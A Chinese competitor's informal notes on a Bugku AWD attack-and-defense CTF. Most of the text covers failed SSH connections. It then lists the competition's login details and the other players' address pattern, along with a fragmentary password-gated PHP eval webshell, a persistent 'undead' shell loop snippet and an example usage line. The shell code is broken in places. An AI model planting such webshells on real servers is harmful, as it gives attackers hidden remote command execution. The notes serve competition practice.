我觉得就是我前期的准备工作不足也可能是我当时比赛网太卡了kali一直没有ssh连接上换了moba连结果半天回应一个连接超时现下的xshell结果还死活尝试连接不上去当时就有点慌了因为比赛已经开始很久了我还没ssh连接上我就一直找是不是复制错了百度了一下说是可能因为我的windows没有开ssh和sshd连接后面就一直尝试解决问题到后面心态就有点崩溃了下来问其他人他们都是直接连就能用我也不知道到底是什么问题目前还正在解决问题中。

因为一直没有ssh连接上所以接下来的时间都浪费在解决为什么连不上这个问题上了其他常见的资料很多网上和师兄发的都有这里就写一些新学到的东西方便下次打awd比赛的时候看以免出现同样愚蠢的错误。

1.信息确认

密码为fe85d7dec6e3757f391e013efdd67c0c端口为2222一般服务器为Linux系统登录工具可以使用xSHELL,finalSHELL等。

标记4Token主要用于脚本身份凭证用于自动化提交鉴别。

虚拟IP为靶机访问网址。

其他选手地址为192-168-x-250.pvp923.bugku.cnx可以是1-255内任一个数字。

标记5主要用于扫描其他选手靶机用来攻击获取到根目录FLAG并提交得分靶机环境和自己的靶机一致。

标记8大屏观赛区

.php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml

/Directory

if(md5($_POST[passwd])8c7d608cbb4c63f32be59a9ba8c9f49d){eval($_REQUEST[cmd]);}

?;while

(1){file_put_contents($file,$code);system(touch

2020-12-01

//POST传参passwdAabyssTeamcmdsystem(ls);

后门查杀